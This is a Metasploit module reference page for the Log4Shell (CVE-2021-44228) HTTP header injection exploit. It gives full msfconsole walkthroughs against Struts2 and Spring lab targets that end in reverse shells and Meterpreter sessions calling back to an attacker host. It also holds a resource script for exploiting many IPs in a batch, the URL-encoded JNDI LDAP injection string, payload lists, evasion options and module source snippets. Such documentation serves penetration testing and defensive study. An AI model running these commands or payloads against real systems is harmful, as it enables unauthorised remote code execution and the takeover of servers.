Log4Shell HTTP Header Injection - Metasploit


This page contains detailed information about how to use the exploit/multi/http/log4shell_header_injection metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Log4Shell HTTP Header Injection
Module: exploit/multi/http/log4shell_header_injection
Source code: modules/exploits/multi/http/log4shell_header_injection.rb
Disclosure date: 2021-12-09
Last modification time: 2022-03-22 08:55:59 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2021-44228

This module is also known as Log4Shell or LogJam.

Versions of Apache Log4j2 impacted by CVE-2021-44228 which allow JNDI features used in configuration, log messages, and parameters, do not protect against attacker controlled LDAP and other JNDI related endpoints. This module will exploit an HTTP end point with the Log4Shell vulnerability by injecting a format message that will trigger an LDAP connection to Metasploit and load a payload. The Automatic target delivers a Java payload using remote class loading. This requires Metasploit to run an HTTP server in addition to the LDAP server that the target can connect to. The targeted application must have the trusted code base option enabled for this technique to work. The non-Automatic targets deliver a payload via a serialized Java object. This does not require Metasploit to run an HTTP server and instead leverages the LDAP server to deliver the serialized object. The target application in this case must be compatible with the user-specified JAVA_GADGET_CHAIN option.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).

Basic Usage


Using log4shell_header_injection against a single host

Normally, you can use exploit/multi/http/log4shell_header_injection this way:

msf > use exploit/multi/http/log4shell_header_injection
msf exploit(log4shell_header_injection) > show targets
    ... a list of targets ...
msf exploit(log4shell_header_injection) > set TARGET target-id
msf exploit(log4shell_header_injection) > show options
    ... show and set options ...
msf exploit(log4shell_header_injection) > exploit

Using log4shell_header_injection against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your log4shell_header_injection will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/multi/http/log4shell_header_injection")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options


  • RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

  • CheckModule: Module to check with

Knowledge Base


Vulnerable Application


Versions of Apache Log4j2 impacted by CVE-2021-44228 which allow JNDI features used in configuration, log messages, and parameters, do not protect against attacker controlled LDAP and other JNDI related endpoints.

This module will exploit an HTTP end point with the Log4Shell vulnerability by injecting a format message that will trigger an LDAP connection to Metasploit and load a payload.

The Automatic target delivers a Java payload using remote class loading. This requires Metasploit to run an HTTP server in addition to the LDAP server that the target can connect to. The targeted application must have the trusted code base option enabled for this technique to work.

The non-Automatic targets deliver a payload via a serialized Java object. This does not require Metasploit to run an HTTP server and instead leverages the LDAP server to deliver the serialized object. The target application in this case must be compatible with the user-specified JAVA_GADGET_CHAIN option.

Verification Steps


  1. Setup a vulnerable Struts2 instance (see the steps below)
  2. Start msfconsole
  3. Do: use exploit/multi/http/log4shell_header_injection
  4. Set the SRVHOST, RHOSTS, RPORT and TARGETURI options
    • For Struts2, set TARGETURI to /struts2-showcase/
  5. If using a target other than Automatic, optionally change the JAVA_GADGET_CHAIN setting
  6. Do: run
  7. If the target is vulnerable, the payload should be executed

Apache Struts2 Verification

For Apache Struts2, setup a vulnerable instance using the steps from the scanner module and use the following options:

set HTTP_HEADER If-Modified-Since
set TARGETURI /struts2-showcase/struts/utils.js
set JAVA_GADGET_CHAIN CommonsBeanutils1
set TARGET Linux
set PAYLOAD cmd/unix/reverse_bash

This scenario uses the non-Automatic target to deliver a serialized payload. The target is compatible with the CommonsBeanutils1 ysoserial payload.

Spring2 Verification

For Spring2, run the christophetd/log4shell-vulnerable-app:latest docker image and use the following options:

set HTTP_HEADER X-Api-Version
set TARGETURI /
set TARGET Automatic
set PAYLOAD java/meterpreter/reverse_tcp

This scenario uses the Automatic target and remote class loading. The target application has the trusted code base option enabled, allowing the payload to be loaded.

Options


HTTP_HEADER

The HTTP header to inject into. If this option is not specified, the scanner module will be used to automatically identify a suitable value.

HTTP_METHOD

The HTTP method to use.

HTTP_SRVPORT

The HTTP server port. This service is used for remote class loading and is only relevant when the target is Automatic.

JAVA_GADGET_CHAIN

The ysoserial payload to use for deserialization. This option is only relevant for non-Automatic targets that deliver a serialized object. The selected value must be compatible with the target application.

Scenarios


Apache Struts2

For setup, see the "Apache Struts2 Verification" section above. The If-Modified-Since header is automatically detected by the scanner.

msf6 > use exploit/multi/http/log4shell_header_injection
[*] Using configured payload java/shell_reverse_tcp
msf6 exploit(multi/http/log4shell_header_injection) > set RHOSTS 192.168.159.128
RHOSTS => 192.168.159.128
msf6 exploit(multi/http/log4shell_header_injection) > set RPORT 8080
RPORT => 8080
msf6 exploit(multi/http/log4shell_header_injection) > set SRVHOST 192.168.250.134
SRVHOST => 192.168.250.134
msf6 exploit(multi/http/log4shell_header_injection) > set TARGETURI /struts2-showcase/struts/utils.js
TARGETURI => /struts2-showcase/struts/utils.js
msf6 exploit(multi/http/log4shell_header_injection) > set JAVA_GADGET_CHAIN CommonsBeanutils1
JAVA_GADGET_CHAIN => CommonsBeanutils1
msf6 exploit(multi/http/log4shell_header_injection) > set TARGET Linux
TARGET => Linux
msf6 exploit(multi/http/log4shell_header_injection) > set PAYLOAD cmd/unix/reverse_bash
PAYLOAD => cmd/unix/reverse_bash
msf6 exploit(multi/http/log4shell_header_injection) > set LHOST 192.168.250.134
LHOST => 192.168.250.134
msf6 exploit(multi/http/log4shell_header_injection) > check

[*] Using auxiliary/scanner/http/log4shell_scanner as check
[+] 192.168.159.128:8080  - Log4Shell found via /struts2-showcase/struts/utils.js (header: If-Modified-Since) (java: BellSoft_11.0.13)
[+] 192.168.159.128:8080  - Log4Shell found via /struts2-showcase/struts/utils.js/%24%7bjndi%3aldap%3a%24%7b%3a%3a-/%7d/192.168.250.134%3a389/e31vm2fhlvewa70x3igyp/%24%7bsys%3ajava.vendor%7d_%24%7bsys%3ajava.version%7d%7d/ (java: BellSoft_11.0.13)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Sleeping 30 seconds for any last LDAP connections
[+] 192.168.159.128:8080 - The target is vulnerable.
msf6 exploit(multi/http/log4shell_header_injection) > exploit

[*] Started reverse TCP handler on 192.168.250.134:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Using auxiliary/scanner/http/log4shell_scanner as check
[+] 192.168.159.128:8080  - Log4Shell found via /struts2-showcase/struts/utils.js (header: If-Modified-Since) (java: BellSoft_11.0.13)
[+] 192.168.159.128:8080  - Log4Shell found via /struts2-showcase/struts/utils.js/%24%7bjndi%3aldap%3a%24%7b%3a%3a-/%7d/192.168.250.134%3a389/qn32g1o993yt6s8z91b3ujz/%24%7bsys%3ajava.vendor%7d_%24%7bsys%3ajava.version%7d%7d/ (java: BellSoft_11.0.13)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Sleeping 30 seconds for any last LDAP connections
[+] The target is vulnerable.
[+] Automatically identified vulnerable header: If-Modified-Since
[*] Command shell session 1 opened (192.168.250.134:4444 -> 192.168.250.134:54580 ) at 2022-01-07 14:37:25 -0500
[*] Server stopped.

id
uid=999(tomcat) gid=999(tomcat) groups=999(tomcat)
pwd
/

Spring2

For setup, see the "Spring2 Verification" section above. The X-Api-Version header is automatically detected by the scanner.

msf6 > use exploit/multi/http/log4shell_header_injection
[*] Using configured payload java/meterpreter/reverse_tcp
msf6 exploit(multi/http/log4shell_header_injection) > set RHOSTS 192.168.159.128
RHOSTS => 192.168.159.128
msf6 exploit(multi/http/log4shell_header_injection) > set RPORT 8080
RPORT => 8080
msf6 exploit(multi/http/log4shell_header_injection) > set SRVHOST 192.168.250.134
SRVHOST => 192.168.250.134
msf6 exploit(multi/http/log4shell_header_injection) > set HTTP_SRVPORT 80
HTTP_SRVPORT => 80
msf6 exploit(multi/http/log4shell_header_injection) > set TARGETURI /
TARGETURI => /
msf6 exploit(multi/http/log4shell_header_injection) > set TARGET Automatic
TARGET => Automatic
msf6 exploit(multi/http/log4shell_header_injection) > set PAYLOAD java/meterpreter/reverse_tcp
PAYLOAD => java/meterpreter/reverse_tcp
msf6 exploit(multi/http/log4shell_header_injection) > set LHOST 192.168.250.134
LHOST => 192.168.250.134
msf6 exploit(multi/http/log4shell_header_injection) > check

[*] Using auxiliary/scanner/http/log4shell_scanner as check
[+] 192.168.159.128:8080  - Log4Shell found via / (header: X-Api-Version) (java: Oracle Corporation_1.8.0_181)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Sleeping 30 seconds for any last LDAP connections
[+] 192.168.159.128:8080 - The target is vulnerable.
msf6 exploit(multi/http/log4shell_header_injection) > exploit

[*] Started reverse TCP handler on 192.168.250.134:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Using auxiliary/scanner/http/log4shell_scanner as check
[+] 192.168.159.128:8080  - Log4Shell found via / (header: X-Api-Version) (java: Oracle Corporation_1.8.0_181)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Sleeping 30 seconds for any last LDAP connections
[+] The target is vulnerable.
[+] Automatically identified vulnerable header: X-Api-Version
[*] Serving Java code on: http://192.168.250.134:80/VfrBNShRHj.jar
[*] Sending stage (58082 bytes) to 192.168.250.134
[*] Meterpreter session 1 opened (192.168.250.134:4444 -> 192.168.250.134:54582 ) at 2022-01-07 14:42:16 -0500
[*] Server stopped.

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer    : 6febf4ddad76
OS          : Linux 5.15.12-100.fc34.x86_64 (amd64)
Meterpreter : java/linux
meterpreter > 

Go back to menu.

Msfconsole Usage


Here is how the multi/http/log4shell_header_injection exploit module looks in the msfconsole:

msf6 > use exploit/multi/http/log4shell_header_injection

[*] Using configured payload java/shell_reverse_tcp
msf6 exploit(multi/http/log4shell_header_injection) > show info

       Name: Log4Shell HTTP Header Injection
     Module: exploit/multi/http/log4shell_header_injection
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-12-09

Provided by:
  Michael Schierl
  juan vazquez <[email protected]>
  sinn3r <[email protected]>
  Spencer McIntyre
  RageLtMan <rageltman@sempervictus>

Module side effects:
 ioc-in-logs

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Automatic
  1   Windows
  2   Linux

Check supported:
  Yes

Basic options:
  Name              Current Setting  Required  Description
  ----              ---------------  --------  -----------
  HTTP_HEADER                        no        The HTTP header to inject into
  HTTP_METHOD       GET              yes       The HTTP method to use
  HTTP_SRVPORT      8080             yes       The HTTP server port
  LDAP_AUTH_BYPASS  true             yes       Ignore LDAP client authentication
  LDIF_FILE                          no        Directory LDIF file path
  Proxies                            no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                             yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT             80               yes       The target port (TCP)
  SRVHOST           0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to
                                               listen on all addresses.
  SRVPORT           389              yes       The local port to listen on.
  SSL               false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI         /                yes       The URI to scan
  VHOST                              no        HTTP server virtual host

Payload information:

Description:
  Versions of Apache Log4j2 impacted by CVE-2021-44228 which allow 
  JNDI features used in configuration, log messages, and parameters, 
  do not protect against attacker controlled LDAP and other JNDI 
  related endpoints. This module will exploit an HTTP end point with 
  the Log4Shell vulnerability by injecting a format message that will 
  trigger an LDAP connection to Metasploit and load a payload. The 
  Automatic target delivers a Java payload using remote class loading. 
  This requires Metasploit to run an HTTP server in addition to the 
  LDAP server that the target can connect to. The targeted application 
  must have the trusted code base option enabled for this technique to 
  work. The non-Automatic targets deliver a payload via a serialized 
  Java object. This does not require Metasploit to run an HTTP server 
  and instead leverages the LDAP server to deliver the serialized 
  object. The target application in this case must be compatible with 
  the user-specified JAVA_GADGET_CHAIN option.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2021-44228

Also known as:
  Log4Shell
  LogJam

Related modules:
  auxiliary/scanner/http/log4shell_scanner

Module Options


This is a complete list of options available in the multi/http/log4shell_header_injection exploit:

msf6 exploit(multi/http/log4shell_header_injection) > show options

Module options (exploit/multi/http/log4shell_header_injection):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   HTTP_HEADER                        no        The HTTP header to inject into
   HTTP_METHOD       GET              yes       The HTTP method to use
   HTTP_SRVPORT      8080             yes       The HTTP server port
   LDAP_AUTH_BYPASS  true             yes       Ignore LDAP client authentication
   LDIF_FILE                          no        Directory LDIF file path
   Proxies                            no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                             yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT             80               yes       The target port (TCP)
   SRVHOST           0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to
                                                 listen on all addresses.
   SRVPORT           389              yes       The local port to listen on.
   SSL               false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI         /                yes       The URI to scan
   VHOST                              no        HTTP server virtual host

Payload options (java/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options


Here is a complete list of advanced options supported by the multi/http/log4shell_header_injection exploit:

msf6 exploit(multi/http/log4shell_header_injection) > show advanced

Module advanced options (exploit/multi/http/log4shell_header_injection):

   Name                                  Current Setting                        Required  Description
   ----                                  ---------------                        --------  -----------
   AddClassPath                                                                 no        Additional java classpath
   AutoCheck                             true                                   no        Run check before exploit
   CheckModule                           auxiliary/scanner/http/log4shell_scan  yes       Module to check with
                                         ner
   ContextInformationFile                                                       no        The information file that contains context information
   DOMAIN                                WORKSTATION                            yes       The domain to use for Windows authentication
   DigestAuthIIS                         true                                   no        Conform to IIS, should work for most servers. Only set to false fo
                                                                                          r non-IIS servers
   DisablePayloadHandler                 false                                  no        Disable the handler code for the selected payload
   EnableContextEncoding                 false                                  no        Use transient context when encoding payloads
   FingerprintCheck                      true                                   no        Conduct a pre-exploit fingerprint verification
   ForceExploit                          false                                  no        Override check result
   HttpClientTimeout                                                            no        HTTP connection and receive timeout
   HttpPassword                                                                 no        The HTTP password to specify for authentication
   HttpRawHeaders                                                               no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace                             false                                  no        Show the raw HTTP requests and responses
   HttpTraceColors                       red/blu                                no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly                  false                                  no        Show HTTP headers only in HttpTrace
   HttpUsername                                                                 no        The HTTP username to specify for authentication
   JavaCache                             /home/kali/.msf4/javacache             yes       Java cache location
   LdapServerTcp                         true                                   yes       Serve TCP LDAP requests
   LdapServerUdp                         true                                   yes       Serve UDP LDAP requests
   ListenerComm                                                                 no        The specific communication channel to use for this service
   Powershell::encode_final_payload      false                                  yes       Encode final payload for -EncodedCommand
   Powershell::encode_inner_payload      false                                  yes       Encode inner payload for -EncodedCommand
   Powershell::exec_in_place             false                                  yes       Produce PSH without executable wrapper
   Powershell::exec_rc4                  false                                  yes       Encrypt PSH with RC4
   Powershell::method                    reflection                             yes       Payload delivery method (Accepted: net, reflection, old, msil)
   Powershell::no_equals                 false                                  yes       Pad base64 until no "=" remains
   Powershell::noninteractive            true                                   yes       Execute powershell without interaction
   Powershell::persist                   false                                  yes       Run the payload in a loop
   Powershell::prepend_protections_bypa  auto                                   yes       Prepend AMSI/SBL bypass (Accepted: auto, true, false)
   ss
   Powershell::prepend_sleep                                                    no        Prepend seconds of sleep
   Powershell::remove_comspec            false                                  yes       Produce script calling powershell directly
   Powershell::strip_comments            true                                   yes       Strip comments
   Powershell::strip_whitespace          false                                  yes       Strip whitespace
   Powershell::sub_funcs                 false                                  yes       Substitute function names
   Powershell::sub_vars                  true                                   yes       Substitute variable names
   Powershell::wrap_double_quotes        true                                   yes       Wraps the -Command argument in single quotes
   SSLVersion                            Auto                                   yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are
                                                                                           auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1,
                                                                                          TLS1.2)
   UserAgent                             Mozilla/5.0 (Macintosh; Intel Mac OS   no        The User-Agent header to use for all requests
                                         X 12_0_1) AppleWebKit/605.1.15 (KHTML
                                         , like Gecko) Version/15.0 Safari/605
                                         .1.15
   VERBOSE                               false                                  no        Enable detailed status messages
   WORKSPACE                                                                    no        Specify the workspace for this module
   WfsDelay                              30                                     no        Additional delay in seconds to wait for a session

Payload advanced options (java/shell_reverse_tcp):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly
                                                           to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the multi/http/log4shell_header_injection module can exploit:

msf6 exploit(multi/http/log4shell_header_injection) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic
   1   Windows
   2   Linux

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/log4shell_header_injection exploit:

msf6 exploit(multi/http/log4shell_header_injection) > show payloads

Compatible Payloads
===================

   #   Name                                     Disclosure Date  Rank    Check  Description
   -   ----                                     ---------------  ----    -----  -----------
   0   payload/generic/custom                                    normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                            normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                         normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/generic/ssh/interact                              normal  No     Interact with Established SSH Connection
   4   payload/java/jsp_shell_bind_tcp                           normal  No     Java JSP Command Shell, Bind TCP Inline
   5   payload/java/jsp_shell_reverse_tcp                        normal  No     Java JSP Command Shell, Reverse TCP Inline
   6   payload/java/meterpreter/bind_tcp                         normal  No     Java Meterpreter, Java Bind TCP Stager
   7   payload/java/meterpreter/reverse_http                     normal  No     Java Meterpreter, Java Reverse HTTP Stager
   8   payload/java/meterpreter/reverse_https                    normal  No     Java Meterpreter, Java Reverse HTTPS Stager
   9   payload/java/meterpreter/reverse_tcp                      normal  No     Java Meterpreter, Java Reverse TCP Stager
   10  payload/java/shell/bind_tcp                               normal  No     Command Shell, Java Bind TCP Stager
   11  payload/java/shell/reverse_tcp                            normal  No     Command Shell, Java Reverse TCP Stager
   12  payload/java/shell_reverse_tcp                            normal  No     Java Command Shell, Reverse TCP Inline
   13  payload/multi/meterpreter/reverse_http                    normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
   14  payload/multi/meterpreter/reverse_https                   normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)

Evasion Options


Here is the full list of possible evasion options supported by the multi/http/log4shell_header_injection exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(multi/http/log4shell_header_injection) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u
                                                            -all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Failed to handle LDAP request due to <E>


Here is a relevant code snippet related to the "Failed to handle LDAP request due to <E>" error message:

213:	               vprint_status("Client sent unexpected request #{pdu.app_tag}")
214:	               client.close
215:	             end
216:	      resp.nil? ? client.close : on_send_response(client, resp)
217:	    rescue StandardError => e
218:	      print_error("Failed to handle LDAP request due to #{e}")
219:	      client.close
220:	    end
221:	    resp
222:	  end
223:	

No HTTP_HEADER was specified and none were found automatically


Here is a relevant code snippet related to the "No HTTP_HEADER was specified and none were found automatically" error message:

247:	  def exploit
248:	    validate_configuration!
249:	    if datastore['HTTP_HEADER'].blank?
250:	      targetinfo = (@checkcode&.details || []).reject { |ti| ti[:headers]&.empty? }.first
251:	      http_header = targetinfo[:headers].keys.first if targetinfo
252:	      fail_with(Failure::BadConfig, 'No HTTP_HEADER was specified and none were found automatically') unless http_header
253:	
254:	      print_good("Automatically identified vulnerable header: #{http_header}")
255:	    else
256:	      http_header = datastore['HTTP_HEADER']
257:	    end

Failed to stop http server due to <E>


Here is a relevant code snippet related to the "Failed to stop http server due to <E>" error message:

282:	        @http_service.remove_resource(datastore['URIPATH'])
283:	        @http_service.deref
284:	        @http_service.stop
285:	        @http_service = nil
286:	      rescue StandardError => e
287:	        print_error("Failed to stop http server due to #{e}")
288:	      end
289:	    end
290:	    super
291:	  end
292:	

The SRVHOST option must be set to a routable IP address.


Here is a relevant code snippet related to the "The SRVHOST option must be set to a routable IP address." error message:

353:	    @service_path = uopts['Path']
354:	    @http_service.add_resource(uopts['Path'], uopts)
355:	  end
356:	
357:	  def validate_configuration!
358:	    fail_with(Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.') if ['0.0.0.0', '::'].include?(datastore['SRVHOST'])
359:	    if datastore['HTTP_HEADER'].blank? && !datastore['AutoCheck']
360:	      fail_with(Failure::BadConfig, 'Either the AutoCheck option must be enabled or an HTTP_HEADER must be specified.')
361:	    end
362:	  end
363:	end

Either the AutoCheck option must be enabled or an HTTP_HEADER must be specified.


Here is a relevant code snippet related to the "Either the AutoCheck option must be enabled or an HTTP_HEADER must be specified." error message:

353:	    @service_path = uopts['Path']
354:	    @http_service.add_resource(uopts['Path'], uopts)
355:	  end
356:	
357:	  def validate_configuration!
358:	    fail_with(Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.') if ['0.0.0.0', '::'].include?(datastore['SRVHOST'])
359:	    if datastore['HTTP_HEADER'].blank? && !datastore['AutoCheck']
360:	      fail_with(Failure::BadConfig, 'Either the AutoCheck option must be enabled or an HTTP_HEADER must be specified.')
361:	    end
362:	  end
363:	end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Michael Schierl
  • juan vazquez
  • sinn3r
  • Spencer McIntyre
  • RageLtMan <rageltman[at]sempervictus>

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.